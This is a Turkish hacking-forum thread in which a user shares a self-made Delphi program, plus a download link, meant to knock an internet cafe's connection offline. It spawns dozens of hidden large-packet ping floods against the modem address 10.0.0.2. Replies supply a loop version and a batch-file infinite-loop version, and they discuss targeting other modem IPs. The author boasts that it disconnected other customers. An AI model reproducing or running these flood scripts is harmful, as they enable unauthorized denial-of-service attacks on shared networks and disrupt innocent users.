folder Tahribat.com Forumları
linefolder Delphi - Pascal
linefolder İnternet Cafede Aç Bağlantıyı Kes(Kendi Yapımım)



İnternet Cafede Aç Bağlantıyı Kes(Kendi Yapımım)

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    anubisx
    anubisx's avatar
    Kayıt Tarihi: 21/Ağustos/2005
    Erkek

    Delphi de yazdığım programı açıp OYUN BAŞLASIN a tıklarsanız genel olarak 10.0.0.2  e 65500 bytlık sürekli 70 adet attack yapan flood şeysi.Kodları aşağıda.İsterseniz arttırıp azaltabilirsiniz zevkli oluo cafede daha denemedim birazdan denicem

    ==>

    http://rapidshare.com/files/51411552/Modem_kes.rar.html

    procedure TForm1.Button1Click(Sender: TObject);
    begin
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_SHOWNORMAL);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);

    end;

    end.


    http://yigitdemirag.com
  2. KısayolKısayol reportŞikayet pmÖzel Mesaj
    yawuz
    yawuz's avatar
    Kayıt Tarihi: 17/Temmuz/2005
    Erkek
    hea sona cafeci züksün bizi :D

    tahribat.com a can feda
  3. KısayolKısayol reportŞikayet pmÖzel Mesaj
    cnr437
    cnr437's avatar
    Banlanmış Üye
    Kayıt Tarihi: 03/Nisan/2007
    Erkek
    hoca modemin ip adresi sadece 10.0.0.2 mi? benim modem mesela 192.168.1.1 landan bağlı olduğundan bööle, usbden bağlarsam 192.168.2.1 oluyo mesela, bunları da göz önünde bulundur, daa bi kompleks bişii yap :)

    Bizim olduğumuz her yerde herşey bizim yüzümüzden olmuştur. Ben benim amk bana bişey olmasın!
  4. KısayolKısayol reportŞikayet pmÖzel Mesaj
    a4tech
    a4tech's avatar
    Kayıt Tarihi: 21/Temmuz/2005
    Erkek
    70 defa copy-paste yapacağına for döngüsüne giremedin mi?
  5. KısayolKısayol reportŞikayet pmÖzel Mesaj
    wert
    wert's avatar
    Kayıt Tarihi: 19/Eylül/2005
    Erkek

    aynı kodu elli kere yazma şunu yap daha ii ve kolaylık olur

    procedure TForm1.Button1Click(Sender: TObject);
    var i:integer;
    begin
    for i:=1 to 50 do
    begin
    WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);
    end;
    end;


    |sadece aptalların başarısı ders notu ile ölçülür|
  6. KısayolKısayol reportŞikayet pmÖzel Mesaj
    anubisx
    anubisx's avatar
    Kayıt Tarihi: 21/Ağustos/2005
    Erkek

    hehe he daha yeniim abiler arıca program cafede çalıştı ko onuanlar dc yedi ve kadefen çıktı

    Mission Compleated


    http://yigitdemirag.com
  7. KısayolKısayol reportŞikayet pmÖzel Mesaj
    HolyDemon
    HolyDemon's avatar
    Kayıt Tarihi: 16/Temmuz/2005
    Erkek

    Kardeş WinExec('COMMAND.COM /C ping 10.0.0.2 -l 65500 -t', SW_HIDE);

    10.0.0.2 ye ddos atıyo 10.0.0.2 genellikle zoom adsl modemlerin ip si. Ya cafenin modemi başka bişeyse ? Bir sürü modem ip si var 10.0.0.2 , 192.168.2.1 ,  192.168.1.1 böyle gidiyo bir sürü modemin çeşit çeşit ipleri war. O zaman sadece zoom adsl modem olan cafelerde çalışır bu :))) sen bunu geliştir biraz daha :)

  8. KısayolKısayol reportŞikayet pmÖzel Mesaj
    anubisx
    anubisx's avatar
    Kayıt Tarihi: 21/Ağustos/2005
    Erkek
    Bizim takıldığımız cafe zoomadsl kullanıyor o yüzden direk işe yaradı.Aslında combobox tan seçme işini halledip markaya göre saldırı yapma gibi bir kod yapabiliriz.Onun üzerine bakayım biraz

    http://yigitdemirag.com
  9. KısayolKısayol reportŞikayet pmÖzel Mesaj
    sniphacker
    sniphacker's avatar
    Kayıt Tarihi: 18/Temmuz/2005
    Erkek

    ---

  10. KısayolKısayol reportŞikayet pmÖzel Mesaj
    renegadealien
    renegadealien's avatar
    Üstün Hizmet Madalyası Savaş Madalyası Başarı Madalyası Üstün Hizmet Madalyası Developer Madalyası
    Kayıt Tarihi: 23/Mart/2003
    Erkek

    Acın kafede bi not defteri..

    İçine

    :a
    ping 10.0.0.2 -l 65500 -t
    goto :a

    yazın..

    uzantısını .bat yapın alın size saldırı toolu fazla kasmayın öle delphi melphi...


    10.05.2013 tarihli google arama sonucu : Aradığınız - "herşeyin hayırlısı rampanın bayırlısı" - ile ilgili hiçbir arama sonucu mevcut değil. Kendi özlü sözümdür, kaynak belirterek kullanınız.
  11. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Madcrazy
    Madcrazy's avatar
    Kayıt Tarihi: 13/Ağustos/2007
    Erkek

    a4tech bunu yazdı:
    -----------------------------
    70 defa copy-paste yapacağına for döngüsüne giremedin mi?
    -----------------------------

    he ya for a girseydin öyle sonsuz döngüye girer dağıtırsın da copy paste anlamı yok 


    Hardcore Gamer - Android Game Developer
Toplam Hit: 8294 Toplam Mesaj: 23